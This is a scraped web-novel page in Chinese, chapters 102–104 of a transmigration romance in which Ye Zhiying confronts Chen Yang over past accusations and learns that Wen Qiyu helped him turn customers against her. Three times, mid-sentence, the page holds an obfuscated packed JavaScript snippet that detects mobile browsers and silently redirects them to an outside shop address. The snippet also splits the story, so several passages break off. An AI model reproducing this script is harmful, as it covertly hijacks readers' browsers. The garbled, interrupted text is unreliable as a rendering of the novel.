“快拿着吧。不住这儿你还能去哪儿?”他硬把钥匙往她手里塞。 叶之萤一把推开了他的手,对着那扇门提高嗓音愤愤道:“黎城还不至于连家客栈都没有吧?我就不信离了他姓温的我能曝尸荒野!就算真曝尸荒野,我也认了,总比寄人篱下、最终像个垃圾一样被人扫地出门要好!” 还记得刚来的时候,自己和温其玉吵架,也是站在这里气势汹汹地和屋里的人对骂。没想到兜兜转转,又回到了原点。但如果非要说有什么不同,那就是屋里的人现在连和她对骂的劲头都没有了,只剩她一个人像个怨妇似的发泄着怨恨。 叶之萤突然觉得自己有些可悲,明明是两个人的感情,受伤的却只有她一个,凭什么?她叶之萤离了谁不能活?何必把自己搞得可怜兮兮的! “阿力,谢谢你这些日子对我的照顾,也谢谢你还愿意相信我,在我心里,你早就是我的朋友了,没事就去布庄找我,我请你喝茶!” “你真不去我那个宅子?”阿力还没放弃。 “不去了,这些日子我也攒了些银子,够花一段时间的,你就别操心了!走了!” 102. 离家 叶之萤依稀记得,上次去雁湖郊游时,曾在香雪山附近看到过一家似乎还不错的客栈。不久前被劫持的阴影还没散去,她一路上胆战心惊,七拐八绕,最终凭着印象成功找到了那家“依山楼”,顾名思义,就是依山而建的小楼。 “请问还有房间吗?”她用手敲了敲柜台,叫醒了正在打盹的小二。 “有的有的,套间单间都有。单间八十钱一晚,套间两百钱一晚。”还迷糊着的小二用手使劲搓了搓脸。 “单间就行,挑间干净的。” “好嘞,您住几晚?” 几晚?这倒把她问住了。 “住得久能便宜吗?包一日两餐。”她问。 “呃……这要看您住多久了。” “可能得……半年吧,房费我按月结,如何?” “若是这样的话,每月二两银子,租金先付,月结不退,每日两餐准时为您送至房中。” “行!” 小二将她带至二楼朝南的一间房便离开了。她推开南边的窗户,窗外不远处就是雪山和雁湖,还有那棵曾为温其玉遮过阳的大树…… 她“啪”地关上了窗。怎么又想到他了? 她之所以放弃城内便利的条件,走了这么远的路也要住在这里,一是因为这里的风景实在太美,二是她想远离那些令她讨厌的人,譬如杨宗明。 只是这里离城里实在太远,去一趟布庄来回就要花三个多小时,实属不易。原本一个月只需要走三个来回足以,但这几天恰好赶上筹备发布会,因此日日都要暴走近十万步。才一周时间,叶之萤就瘦了一大圈,切切实实体验了一把“衣带渐宽”的滋味。 为了自身安全,她对外始终以男装示人,每日带着女装、首饰和化妆品到布庄打扮上,下班后再换回男装,每日如是。而存下的那四十多两银子,也被她存到了钱庄,换成了银票和碎银日日贴身带携带。 叶之萤已经一周没见温其玉了,也没听到他的任何消息。唯有重情的阿力还念着她,偷偷去布庄看望她一回,令她十分感动。白天在布庄忙,她常常也就忘了想那个人,只是每每在回客栈的路上,或是推开窗户望着远处那棵大树时,又或是躺在床上安静下来时,脑海中总是会浮现他的身影。 不知他手腕的伤好了没有?正想着,窗外突然有人影一闪而过!再定睛去看,又什么都没有了。她顿时心跳加速,悄摸着下床走到窗边,第五次确认窗户已经插好,又捎带着检查了门闩,确认都关好了,才重新上了床,把被子的四边都在身下掖得好好的,确保连空气都不能从被子的缝隙中钻进去。 自有了上次被绑架的经历,叶之萤变得异常胆小。开始害怕一个人上街,一个人住店。不仅如此,走在街上还总觉得有人跟着自己,回到客栈又时常觉得有人在门外偷窥自己,简直有精神分裂的征兆。 她的安全如今对那人来说已经不重要了,是死是活也不重要了。以前叶之萤总觉得温其玉对她的保护是小题大做,现在终于得偿所愿了,他再也不会管她了。 可她还是想他,发了疯地想他,想着想着又开始恨他,恨着恨着,她发现自己还是没出息地想他。 于是,她每天早早就到布庄去,比沈老板去得还早,白天,接待顾客、采买布置;到了黄昏,还硬拖着沈老板开会商讨发布会上的各种细节以及各种营销手段,直到沈老板主动求饶才放他回家。她把自己的时间安排得满满的,满到让自己没空去想那个人。 二十七号终于到了。叶之萤一早就赶到了“浮云落雪”,楼里罗纱飘扬、瓜果弥香,茶点果盘、名牌礼品也已全部放置就位。 柔软飘逸的帷帐将舞台全部围起,届时从外面看,里面的倩影便如披云挂雾的仙子那般婀娜妩媚。 不一会儿,沈老板也火急火燎地过来了,手中还拿着一张纸,一见到她,就把那张纸塞给她,满脸愁容道:“我刚出门时收到一封信,信上说今日的发布会举办不了了。” 她展开那封信一看,上面写着:“因叶氏本人品行卑劣,不知廉耻,以致引发众怒,故今日不会有客前往‘浮云落雪’赴约。” “又是杨宗明!”她愤怒地把那张纸捏成了团,“沈老板,这事我会处理。若是找不出幕后之人,今日这笔损失我赔给你。” 沈老板却道:“叶小姐,我不知你与那位杨公子有何恩怨,但你千万要注意安全,莫要与他硬碰硬!这笔损失布庄还赔得起,你万不要有负担。” 叶之萤没想到仅和自己有金钱之交的沈老板竟会在此时说这样的话,没有落井下石,没有选择明哲保身,反而在凛冽的寒冬为她送来了一盆炽热的碳火,选择和她共渡严寒。 看吧,这个世界即使所有人都在向你泼脏水,还是有人愿意借伞为你遮挡污水的。 她朝他笑着点头:“我知道了,谢谢!” 刚出“浮云落雪”的大门,就碰见了阿力:“叶小姐,少爷让我来找你回去。” 叶之萤急着去找杨宗明,边跑边问他:“我现在没空去见他!对了,你知道杨宗明他们家茶园在哪儿吗?” “少爷说,回去自然能见到你想见的人。” 她的脚步瞬间停下。 “什么意思?他怎么知道我想见谁?是不是杨宗明在温宅?” “是。” 她一路狂奔,原本步行近四十分钟的路程,十分钟就跑了回去。 温其玉的房门被一把推开,门板“啪”一声撞上墙,又反弹了回来。 温其玉坐在书桌后面,正面对着大门,见叶之萤推门而入,眼睛一下就亮了。杨宗明坐在书桌前背对着大门,听见门响,吓了一跳,也转过身来。 叶之萤踉跄着走到书桌前,把那张信纸拍在杨宗明面前,由于太使劲儿,连挂在笔架上的毛笔都被震得掉了下来。 “这是什么意思?”她冲他咆哮。 杨宗明瞥了眼掉在桌上的毛笔,悠悠开口:“怎么?很生气?你不过是被人拆穿了真实面目而已,就已经这么生气,那陈如被你害得下半生再也不能走路,一辈子全毁了,她何其无辜要受那样的罪,你想过她的感受吗?” 陈如!陈如!又是陈如!这个人上辈子就一直缠着她,这辈子竟然还阴魂不散! “你到底是谁?你是她什么人?咳咳咳……狂热的粉丝吗?”叶之萤已经快被逼疯了,一边不断地喘着粗气,一边歇斯底里地冲他咆哮。 “你害怕了!我真是没想到,上一世不能将你绳之以法,以至于我死不瞑目,这一世竟然让我在这里又遇到你!谁能想到那个野心勃勃、机关算尽想要出名的叶之萤,最后竟然会落得这样的下场?老天有眼啊!哈哈哈!”他笑得狰狞,连眼泪都笑了出来。 “疯子!” “疯?哪能比得过你!为了出名,你耍手段抢走了最好的朋友已经拿到的角色;为了资源,你抛弃对你不离不弃的素人男友,转身就搭上了娱乐公司的老板;你怕自己做的缺德事被好朋友说出去,竟然残忍到将她从楼上推下去,妄想谋杀她;她运气好没有死,却被你害得终身瘫痪,只是想为自己讨回公道,你却为了堵住她的嘴,不惜造谣她精神有问题,让已经不能自理的她又被关进精神病院受尽虐待!叶之萤,我真的没见过像你这样狠毒的人!别以为你死了这些事就过去了,上一辈子欠下的债,这辈子你也必须还!” “我还什么还?我有什么要还的?”心中的愤怒倾泻而出,“我被陈如折磨了那么些年,受尽了辱骂和诋毁,我要去找谁还?那天,她在电话里一直骂我,我实在受不了了,气急攻心才出了事,我是被她活活气死的!就算要还,也是她还我的命,是她欠我的!你以为你是谁呀,连事情的真相都没搞清楚就来帮她伸张正义?” “我是谁?我是陈如身边最亲的人,你不认识了吗?”杨宗明笑得阴森。 “你……你是……你是陈阳?”叶之萤脑中突然闪过了一个人——陈如的哥哥。陈如出事后一年失踪,后被发现在江中溺亡。但她和陈阳是打过交道的,单看这张脸,跟陈阳一点都不像,个子也比陈阳高,所以她从来没把这张脸和陈阳联系在一起。但今天,他一直说的都是陈如的事,并且,他也姓陈,世界上不会有这么巧合的事。 “你总算猜到了。” “陈阳,你不是……怎么也来这里了?” “别装模作样的了,我那日骑车去精神病院给小如送药,突然被一个黑影猛撞一下掉进了江里,难道不是你找的人吗?你巴不得我早点死,这样就没人再告发你了,又怎么会找我?” “这么多年了,为什么你还这么固执,非得觉得这一切都是我做的?我以前就跟你解释过很多次了,陈如她就是在胡说八道!你为什么就是不信我呢?”知道他是陈阳后,叶之萤的愤怒已经没有刚才那么剧烈了。 阿力这时才跑了回来,看她正在和杨宗明,不,是陈阳理论,便没有插话,喘着气站到了温其玉身边。 温其玉也始终没有开口,就坐在那里听着二人争执,也不知他心里更偏向谁。 “小如是我妹妹,她怎么会骗我?你说这一切都是假的?那小如的腿是谁害的?难道她的瘫痪也是假的吗?”他说着,竟从怀里掏出了一张照片。 照片上的女人有一张惨白而憔悴的脸,脸颊和眼眶都已经瘦得凹陷下去。她穿着一套蓝色的睡衣,坐在一架轮椅上,两条腿瘦得几乎要和胳膊一样细了,完全撑不起睡裤,就那样松垮垮地搭在轮椅座位上。 看到她,叶之萤眼中浮起明显的杀气。 照片的背面是长长的一封信,字字句句都是对叶之萤的控诉。 这照片叶之萤早就见过了,甚至她曾经的手机里还保存着完整的视频。平心而论,如果她不是当事人,看到陈如这么楚楚可怜的样子,也很难不信她。 温其玉那天之所以一反常态那样对自己,恐怕也是因为看了这这照片和后面的控诉信吧。一个和他有着同样遭遇的人,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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叶之萤仍不解气,跑到餐桌上抓起一把小刀,又回到他面前,将刀子横在他眼前,一字一顿警告他说:“你再敢碰我一下,我就捅死你!” “你们放开我!”他挣扎着咆哮,“温其玉,让他们放开我!你别忘了,她同样也欺骗了你的感情!” “杨公子,你实在有些过于激动了!”叶之萤这才抬头去看温其玉,他面色阴沉,眼中透着寒光,只一句话,就让陈阳冷静了下来。 “叶之萤,你说小如所说的一切都是假的,那你告诉我,真相是什么?当初那个角色,是不是你从小如手里抢来的?” “不是!那个角色当时是公开试镜的,大家都可以给剧组投递简历,她投了,我也投了,事情就是这样。并且当初竞争这个角色的演员有五十多个,大家都是公平竞争,怎么能说是我抢她的呢?” “公平竞争?要不是你提前从小如那里知道了这件事,你哪有机会去和别人竞争?你们两人都进了最终面试,你丝毫不念及和小如的情分,为了争到这个角色竟然主动出卖色相跟投资方老板进行见不得人的交易,小如就是太善良,才会被你这样没有底线的人坑害!” 叶之萤翻了个白眼,讥笑道:“首先,那个消息不是陈如告诉我的,而是经纪人同时告诉我们俩的! 当时,二人一起投了简历,得知试镜通知已发至演员邮箱那日,叶之萤正在山里拍广告,由于网络不好,便把自己邮箱账号密码发给陈如让她帮忙查,不久就收到了陈如的消息:“夜莺,别难过,以后还有机会。” 演员试镜失败也是常有的,叶之萤很快就调整了心态,投入到新的工作中去了。结果好巧不巧,才过了两天,她就碰到了那个剧的选角导演,和导演一聊才知道,原来剧组给她也发了试镜通知。 “是陈如偷偷删掉了我的试镜通知。” “不可能,小如不会做这种事!你不要血口喷人!”陈阳又激动起来。 “不可能?看来你对自己的妹妹还是不够了解啊。血口喷人的不是我,是你的好妹妹陈如!”叶之萤向他靠近了两步,继续道,“那天我们大吵了一架,之后各自试镜,也都进入了最后一轮试镜。试镜前,她又来找我,不是来跟我道歉,而是来求我主动退出,把这个机会让给她。她说我长得漂亮,就算没有这个角色,还会有大把的机会,而她不同,如果不拿下这个角色,她的演员之路恐怕就走不下去了。” “但是你没有同意,即使她当时已经一年没有工作了,而你却同时手握两三个角色可选,你还是要跟她争!” “是,我拒绝了她。但你这话说得不对,大家公平竞争,她能争,我自然也能争,凭什么我必须要让她?况且,是她先对我不仁的。” “公平?”他一脸不屑,“你为了得到这个角色背叛了你当时的男友,这是人尽皆知的事。那个男孩,每周都会送你一束红玫瑰,却因为无权无势而被你抛弃。那段时间,你和那部剧的投资方王总恋爱的消息炒得沸沸扬扬,你的名字几乎天天挂在热搜,你们俩牵手、吃饭、甚至在他的豪宅里亲吻、过夜的照片流的全网都是,这些难道你现在都打算否认?” “我……”叶之萤心虚地瞄了一眼坐在书桌后面的温其玉,在陈阳说那些事时,他闭上了眼。 “我做过的事,我不会否认。” 103. 往事如烟 听到这话,温其玉的眼睛猛地睁开。 “但事情的真相并不是大众看到的那样,也不是媒体报道的那样,更不是你说的这样。媒体报道出来的,不过是我们想让大众看到的罢了。”这话是对陈阳的解释,更是对书桌后那人的解释。 温其玉的眼神变得有些困惑,她的话让他听糊涂了。 “我跟李飞分手,是因为我们的感情已经淡了,只是恰好赶在那个时间点罢了。至于和那个王总,我们也并不是真的在一起,只是对外那么宣传而已。这事陈如也知道。当时我们几个人一起进了最终试镜,陈如确实是与角色最适配的那一个。可是王总却跟她提了一个要求,那就是必须配合他炒作,对外宣称两人是情侣关系。陈如犹豫了,因为她当时立的是清纯白月光人设,如果同意配合炒作,那就人设崩塌了,到时候万一剧没火,又因为这个绯闻流失一大批粉丝,恐怕得不偿失,她不敢冒这个险。” “那王总为什么要找人炒作?” “因为他被对家拍到了和同性恋人牵手的视频,他怕这消息传出去会影响公司股价,所以就想找个女明星帮他打掩护。”事到如今,叶之萤也不用再担心被封杀,终于可以把事实讲出来了,“你好好想一想,在我和他的绯闻爆出来之前,是不是也在网上看到过关于他性取向的报道?” 陈阳微妙的表情变化告诉她,他确实想到了那些旧闻。 “那个角色很有张力,我觉得是个好机会,虽然配合炒作确实会损伤我的名声,但黑红也是红嘛,比起整天挂在热搜上,娱乐圈更怕的是连绯闻都没有。况且演员终究是用作品说话的,我相信只要这个角色演好了,观众就不会在意那些花边新闻了。于是我答应了他,那个角色自然就给了我。之后的一年,我认真扮演他的女友,那些所谓的亲密照片,其实都是我们摆拍的。一年后,我们以性格不合的原因友好分了手,这样,有关他的那些传闻就算洗白了。后面他又故技重施,干脆找了另一个也喜欢同性的女明星形婚,当然,这都是后话了。” “居然是这样?”陈阳大感意外,而后不屑道,“小如当然不会同意,你以为谁都跟你们这些人一样没有底线?” “呵,她如果真有底线,事后就不会又后悔跑去找我,求我再把角色还给她了!” “你说什么?”显然,这些事陈如都没有告诉过他。 “她考虑了一个星期,终于下定决心搏一把,可那个角色已经定了我。于是她约我到咖啡厅,质问我为什么要抢她的角色,还让我把角色还给她。她真的很荒谬,那个角色只是找她谈过而已,根本就没确定给她,她凭什么理直气壮指责我?况且,机会本就是她自己放弃的,怎么能是我抢的呢?她在我面前痛哭流涕,又威胁说要把我和王总炒作的料放出去,要毁了我的前途。她见我始终不让步,越说越激动,最后竟想用跳楼来强迫我答应她。谁知道竟然……竟然真的摔下去了!” 陈阳依旧不信她的话:“那个视频里明明是你先伸手她才掉下去的,还说不是你推的?” 叶之萤叹了口气:“那只是个巧合而已!我只是想伸手拉住她,结果刚一伸手她就掉下去了。这个视频你能拿到,警方也早就拿到了,如果我真的有问题,早就被抓了,你就算不信我的话也要相信警察的调查结果吧?为什么就非得认定是我推她下去的呢?就为了一个角色,我就去杀人?先不说我根本不会那么做,就算我要杀人灭口,为什么我要亲自动手,还要在大中午、在人流那么密集的商场、堂而皇之地站在监控底下杀人,是生怕没有目击证人指认我吗?你觉得这符合逻辑吗?” “那是因为小如威胁你要把你和王总的事爆料出去,你一时冲动才对她下了手,并不是提前预谋,所以才会有那么多漏洞。”他对她的成见几近偏执,已经失去了正常的逻辑。 她无奈地叹气:“陈阳,你明不明白?娱乐圈最不缺的就是话题。我既然做了选择,又怎会连些许议论都承受不起?她就算真爆出我们的事,也不过是帮我炒热度罢了,我谢她还来不及!更别说她根本拿不出证据,压根不会对我造成什么实质性的影响,我为什么要堵她的嘴?我当时正在上升期,机会多得是,怎么可能会因为这种小事就冲动杀人,自毁前途呢?” 听完她的解释,陈阳的身子逐渐佝偻,多年来他心中一直坚信的那个“真相”正在轰然坍塌。 “不对!不对!是你在撒谎!你别在我面前演戏,我不会被你骗的!”他坐在那里一边摇头一边自言自语。 “你不愿意接受我说的事实,即使你的理智其实已经不断地暗示你我说的是真的。因为一旦你接受了它,就代表陈如受的所有苦都是她自作自受!所以你现在能理解她为什么要把所有错都推到我身上吗?因为她跟你一样,都不想承认是她亲手把自己推向了万劫不复的深渊。她无法面对自己,无法面对真相,无法面对永无休止的自责和内心的折磨!她想,自己的人生毁掉了,总要有人为此负责啊!总要找个人恨才能不再自责地活下去啊!所以她把所有的错都推到我身上,把自己塑造成受害者的形象,编出了一个自以为完美却经不起推敲的谎言,但人都是乐于同情弱者的,所以即使警方都判定了她是失足坠楼,还是有不少人愿意相信她的谎言。”那些年因陈如而受的委屈一股脑从心里涌出,叶之萤靠在桌沿上,默默地流着眼泪。 “就算这一切都是她冤枉你,她已经为此付出代价了!就算她要爆你出轨王总的事是造谣你,你也不至于把已经瘫痪不能自理的她关进精神病院还找人虐待她吧?” “她被关进精神病院,是她得罪了不该得罪的人!为了放她出来,我低声下气替她求了多少情,才终于有了转机,只要她不再乱说话就可以放了她。于是我又去医院找她,想劝她别再钻牛角尖,她却不愿意见我,我当时还找了你,你也不见我。我实在没办法了,只好雇了一个护工进去给她传话,结果她非但不领情,还污蔑我找人虐待她!” 陈阳不说话了,整个人像被抽走了魂魄似的茫然地瘫在凳子上。 “你失踪之后,她就更不正常了。那个剧第二年播出了,竟然比我想象得还要火,她眼睁睁看着我因为那个角色,名气更甚从前,成了内娱炙手可热的明星,各种代言接踵而至,于是更恨我了!为什么她的人生越来越惨,我却越过越好?她偏执地觉得我得到的一切都是从她那儿抢来的,这一切本该都是她的。她开始在网上诋毁我、造谣我,很多不明就里的网友也跟着她一块儿骂我,即使我找了公关公司把影响尽可能的降低,也不可能完全堵住悠悠众口。这些年来,即使我一直负担着她的治疗费用,她也没有一点悔过。但凡我曝光率高一些,或者有新剧、有新代言的时候,她就像老鼠闻到肉味儿似的跳出来,把当年的事一遍又一遍地拿出来造谣,说我是杀人犯!这件事明明是假的,我却百口莫辩,眼看它变成我人生中洗不掉的污点!谁来补偿我呢?”叶之萤越说越委屈,眼泪断了线似的往出涌,那三个字实在太沉重了,即使她叶之萤内心强大到能顶得住所有的流言蜚语、谩骂造谣,也永远无法对这三个字释怀。 “这些事都是你一家之言而已,我怎么知道你说的是不是真的?”陈阳此时已经没了质问她的底气,却还在做最后的挣扎。 “难道陈如所说就不是一家之言吗?我和你都不可能再回去了,这些话的真假也永远都无法证实,我只是把事情的真相告诉你,信不信随便你。这件事我不想再提了,就当我求你,放过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991726|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我吧!”叶之萤无力地倚在桌角,如果说曾经的那些恶毒的谩骂都是她作为女明星应该承受的代价,那如今的自己为什么还要被此事纠缠不休? 陈阳沉默了很久,而后,他开口叫她:“夜莺。” 眼前的人,神态再无之前的偏执和阴暗,虽然他的长相已经大变,但从他柔软而略显落寞的眼中,叶之萤还是看到了曾经那个善良的哥哥。他会在夜里因为担心她的安全送她回家,会心疼她和陈如减肥而特意做一顿大餐给她们解馋,还会在夸完她长得漂亮后叮嘱她要保护好自己。这一声迟来的“夜莺”,让叶之萤瞬间泪流满面。 “小如这些年过得好吗?身体恢复到什么程度了?还有我父母,他们过得好吗?” 叶之萤嗤笑一声:“她过得可太好了,除了不能走路,哪哪都好,一点儿不内耗,反正只要心情不好就打电话骂我,我要是敢不接电话,立刻就在网上发帖,组织网友一起网暴我。叔叔阿姨一开始也跟着她骂我,后来慢慢地了解了真相,就躲着不见我了,身体倒是都还好。” “那小如的腿……” “你知道的,她本来只是不完全损伤,只要好好复健,是完全可以重新走路的,可是她把所有的精力都用来恨我了,根本不愿意复健。你失踪之后,我找了专业的医疗团队和康复团队专门为她服务,她不仅不配合,还对外声称如果不是因为我害她瘫痪,良心不安,又怎么会帮她找这些团队救她?我一气之下就解散了那些团队,心想既然不领情,那就瘫着吧!后来,她就错过了最佳康复期,好不了了。” “你……你真的……不管她了?”陈阳小心地试探道。 她瞪了一眼温其玉,赌气道:“我为什么非得管她?她瘫痪和我有什么关系?她这样害我,我巴不得她一辈子都站起不来!这才是罪有应得,大快人心,不是吗?” 陈阳讪讪道:“你说得是,小如是自作自受。” 一边说,一边却流下了眼泪。 叶之萤平复了一会儿心情,叹了口气,继续道:“没过多久,你爸妈又来找我,说陈如的双腿功能退化很严重,生活完全不能自理,而他们已经老了,照顾不了她多久了,很担心她以后的生活,求我再救救她。才一年多时间,两个孩子接连遭遇意外,一个瘫痪,一个失踪,他们好像一下子苍老了二十岁,看他们在我面前谨小慎微的样子,我……于心不忍,又重新召回了之前的团队,一直照顾陈如。” “真的?”陈阳的声音充满了惊喜,“小如那么对你,你还愿意帮她……” “我只是不忍心看着你父母那么大年纪还要为她操心。她应该庆幸,自己有一对好爸妈,还有个好哥哥。” “医护团队每年的费用不少吧?”他开始内疚,“那时候你也是新人,收入不多,还要为小如负担那么高额的治疗费,你为我们家付出了这么多……小如和我……我还……我真是……” 话没说完,就狠扇了自己一巴掌。 叶之萤已经心力交瘁:“算了吧,这件事就到此为止吧!前两年我设立了一个陈如基金会,她和你父母每年都可以从基金会领取五十万,用以支付他们的康复、生活和养老费用,直至他们去世,你就放心吧。” 没想到,陈阳竟扑通一下跪在了她面前:“夜莺,对不起,对不起,你打死我吧,我罪该万死,对不起!” “陈阳,我不想再追究这件事了,你起来吧!” 陈阳却跪在地上执意不起:“我……可是我……” 刚刚闹这一出,叶之萤差点忘了自己原本是过来找陈阳算账的。发布会客人为何一个都没来,他的吞吞吐吐也许正和此事有关。 她心里突然有了不祥的预感:“你做了什么?” 104. 背叛 陈阳终于吞吐着开了口:“我把……把你那些事……写成书信,给今日原本要去‘浮云落雪’出席沈氏新品发布会的顾客每人送了一封,这会儿恐怕……恐怕整个黎城……都已经……传遍了……” “什么?”叶之萤简直不敢相信自己的耳朵,瞬间气得浑身发抖,连站都快站不稳了。她用手撑住大腿,让自己不至于倒下,弯着腰靠近他,“你说什么?你给我再说一遍!” “对不起!对不起!对不起!”他只是一遍又一遍地重复着这句话。 “对不起有什么用?对不起有什么用?”她突然歇斯底里地咆哮起来,“陈阳,我到底欠你们陈家什么了?欠你们兄妹什么了?上一辈子,陈如折磨我,这一辈子,你又来折磨我,我到底造了什么孽,你们为什么阴魂不散?我来到这里,终于摆脱了那些谣言,摆脱了大家对我的谩骂和猜疑,我努力地工作、挣钱,努力地留在这里生活,你为什么又要毁了我?” “我……我……我当时以为那些事都是真的,所以……” “你以为什么你以为?”她一巴掌扇到陈阳头上,陈阳被打得身子一晃,差点倒在地上,又用手撑住地,将身子重新跪直。 “你不能先问问我吗?不能先调查清楚吗?你到底在自以为是什么?你个混蛋!混蛋!混蛋!”叶之萤气疯了,对他劈头盖脸一通乱打,还不解气,又上脚踹他。 阿力和荣祥在一旁站定,丝毫没有要阻拦她的意思,温其玉更是一言不发,甚至连陈阳自己都不反抗,被她踢得像个不倒翁似的东倒西歪,也不躲闪。 直到叶之萤打得实在没了力气,再也打不动了,才不得不停下来喘口气,而她整个人却仍像一头杀红眼的野兽,体内始终憋着股难以泄去的杀气,又看到桌上那把小刀,冲过去拿起来就要往陈阳身上捅。 一直不语的温其玉这才赶忙劝阻:“万万不可!叶之萤,冷静!” 荣祥一把夺过了她手中的刀子,速度快得她根本没看见他是怎么过来的,又是怎么夺走的。 温其玉看她手中已无刀可用,才长出一口气。 她撑着书桌大口喘气,待冷静下来后,才慢慢把今天的事情捋个清楚。 首先有一点很奇怪,陈阳为什么会在温其玉房里等她? 难道他做的这些事……温其玉都知情? 难道…… 她愈发不敢往深里想,只是难以置信地望着对面的人,等着他给自己一个合理的解释。 “你猜得没错,这件事是我的主意。”他说。 “为什么?”她依然不敢相信,那个可以把一切都给她的男人,竟然联合别人背刺她。 “因为……” “你别怪温少爷,都是我一人的错。”陈阳倒是大丈夫,不等温其玉开口,就把责任全揽到自己身上。 端午那天,陈阳意外与叶之萤在“白玉楼”相遇,难以置信之余,竟发现她在这里过得还不错,有处所得以栖身,有可靠的人护着,还有一份连大部分邺国女子都不敢奢望的营生手段养活自己,他越想越恨,凭什么她到哪里都可以这么顺利? 于是,他开始计划毁了这一切,让她流离失所、失去依靠、挣钱无门,成为黎城街上又一个凄惨的流浪者。 而要做到这一切,只需要让温其玉对她失望,赶她出门就够了。 “可没想到无论我怎么说,温公子都坚定地相信你,根本不为所动。直到我给他看了小如的照片,他心里始终坚持的信念才终于崩塌。他很痛苦,没想到你为了前途竟然亲手伤害自己的朋友。虽然他还是不愿意相信这一切,但我知道事情已经在我掌握之中了,因为温公子本身就深受身体瘫痪的折磨,他一定会对小如的遭遇感同身受,也一定会因此而更加恨你。” 虽然温其玉已经足够理智和成熟,可是人就会弱点,而他的弱点恰恰正是那因被人毒害而不能自控的身体,与陈如同病相怜,陈阳正是利用这一点,击垮了温其玉对她的信任。 叶之萤绝望地看着温其玉,恨他对自己的信任为什么不能再多一点,为什么不能再坚定一点,他明明说过,不在乎陈阳所说的,只在乎自己看到的叶之萤是什么样,为什么才几天就变了? “所以,他就同意和你一起对付我?”她喉头发紧,艰难地挤出这句话。 有一根刺扎进了她心里,就像玫瑰花上的刺扎在手上那样疼得人难受。她将眼睛看向地面,再不敢对上那双直扎人心的冷酷目光。 “没有。我当时很失望,以为胜券在握了,温公子却说他要再想想。又过了几日,温少爷才主动找到我……” “我已找她求证过,她并未承认那些事。”温其玉端坐在轮椅上,冷峻的声音有些无力,轻轻地飘在空气中。 “温公子,恕我直言,她怎么可能承认呢?”陈阳一脸不屑地笑着。 “但她也没有否认。”温其玉闭上双眼,眼皮因情绪激动而微微颤抖着。 陈阳明显松了一口气,道:“这下温公子总该信我说的了吧?” “我与她相识近一年,朝夕相处,本以为已足够了解她,不曾想竟一点也没看透她。这几日我一直试图说服自己,她曾经做过什么都好,既然过去的她已经死了,现在的她,也并不是你所说的那样,我又何必抓着她过去做过的事不放?但我却说服不了自己,让一个人的后半生都困于轮椅之上,何其残忍,她却毫无悔意。我不知她与我一起时是否会时常想起那位被她伤害之人,会不会因此心虚害怕?若会的话,她又如何能对我产生感情?或许她在我身边真的只是利用我罢了。”他想将垂在身侧的两只手挪到腿上,左手却由于无力而未能成功,苦笑之后,那微微蜷缩的右手轻抚起细瘦变形的右腿。 陈阳看着他那双完全瘫痪的腿,不禁皱起眉头。这些年发生在自己身上的事情太多的,多得像过了几辈子。陈如瘫痪七年了,自己也已经六年没见过她了,不知她现在过得怎么样,能站起来了吗?还是和眼前的人一样,双腿萎缩严重,一动也不能动?一想到这里,他的胸口就一阵郁结,不由得握紧了拳。 “我妹妹被她害得半身瘫痪,健康、事业全没了,只能一辈子坐在轮椅里,没了轮椅,就只能躺在床上,哪都去不了,什么也做不了。小如是多要强的一个女孩,现在连下床都需要人抱,活得毫无尊严。温公子,只有你能体会她有多痛苦!但她比你更加可怜,我们的家庭很普通,承担不起昂贵的医疗费,也雇不起专业的护工,我作为她的哥哥,也因为叶之萤制造的一场谋杀不能在她身边,只能让年迈的父母辛苦照料。可父母年事已高,在同龄人都已颐养天年的年纪,他们还要忍受着丧子之痛,为自己不能自理的女儿操碎心。照顾一个这样的病人有多难、多累、多苦,你是知道的。他们连病都不敢生,死都不敢死!而这一切都是叶之萤造成的!”他越说越激动,双眼已经通红,双手握拳狠狠地砸在桌子上。 不知是不是因这番话想到了自己,温其玉看着那双握的通红的拳,也是双唇紧抿,看上去痛苦不已,而后深深地吸了口气。 陈阳继续愤愤道:“她罪孽太重,早就该死了,竟然还能来这里再活一次,老天爷真是不开眼!不过既然让我再遇见她,或许是老天爷特意为我安排了一个亲自手刃仇人、替天行道的机会!” “你要杀她?”轮椅上的人眯起眼睛,双目狭长而凌厉。 “温少爷难道还对她余情未了?” “我只是提醒杨公子,她自是该得到应有的惩罚,但她不该死。”温其玉语气平静,陈阳却从中听出了不容反驳的强硬。这副羸弱的身子差点让他忘记了它的主人是一位将军,自然是有原则之人,容不得他动用私刑。 “温公子放心,我断不会胡来,我只是要她也尝一下失去一切的痛苦。不瞒您说,我之所以告诉您这些,除了出于私心,让她失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991727|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去您的信任和庇护以外,还有一部分原因其实是出于对您的敬仰,不想您被她欺骗。” “多谢陈公子及时提醒!她想要利用我,恐怕没那么容易!”温其玉微微颔首,眼里已经透出狠劲儿,感情抽离速度之快让陈阳不禁在心里暗暗佩服,不愧是面对阿尔钦八年未尝败绩的大将军,一点也不拖泥带水。 